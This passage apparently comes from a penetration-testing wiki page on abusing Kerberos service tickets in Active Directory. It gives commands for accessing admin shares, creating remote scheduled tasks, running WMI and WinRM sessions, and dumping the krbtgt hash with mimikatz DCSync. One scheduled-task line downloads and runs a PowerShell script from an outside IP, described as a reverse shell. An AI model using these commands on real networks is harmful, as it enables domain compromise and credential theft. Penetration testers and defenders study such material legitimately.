In some occasions you can just ask for: WINRM

| | Golden Tickets | krbtgt | Using **Rubeus** you may **ask for all** these tickets using the parameter: * `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` ## Abusing Service tickets In the following examples lets imagine that the ticket is retrieved impersonating the administrator account. ### CIFS With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** (if they are exposed) and copy files to a part of the remote filesystem just doing something like: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` You will also be able to obtain a shell inside the host or execute arbitrary commands using **psexec**: {% content-ref url="../ntlm/psexec-and-winexec.md" %} [psexec-and-winexec.md](../ntlm/psexec-and-winexec.md) {% endcontent-ref %} ### HOST With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc #Create scheduled task, first for exe execution, second for powershell reverse shell download schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe" schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'" #Check it was successfully created schtasks /query /S some.vuln.pc #Run created schtask now schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS With these tickets you can **execute WMI in the victim system**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local #Execute code Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand" #You can also use wmic wmic remote.computer.local list full /format:list ``` Find **more information about wmiexec** in the following page: {% content-ref url="../ntlm/wmicexec.md" %} [wmicexec.md](../ntlm/wmicexec.md) {% endcontent-ref %} ### HOST + WSMAN (WINRM) With winrm access over a computer you can **access it** and even get a PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` Check the following page to learn **more ways to connect with a remote host using winrm**: {% content-ref url="../ntlm/winrm.md" %} [winrm.md](../ntlm/winrm.md) {% endcontent-ref %} {% hint style="warning" %} Note that **winrm must be active and listening** on the remote computer to access it. {% endhint %} ### LDAP With this privilege you can dump the DC database using **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` **Learn more about DCSync** in the following page: {% content-ref url="dcsync.md" %} [dcsync.md](dcsync.md) {% endcontent-ref %} (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
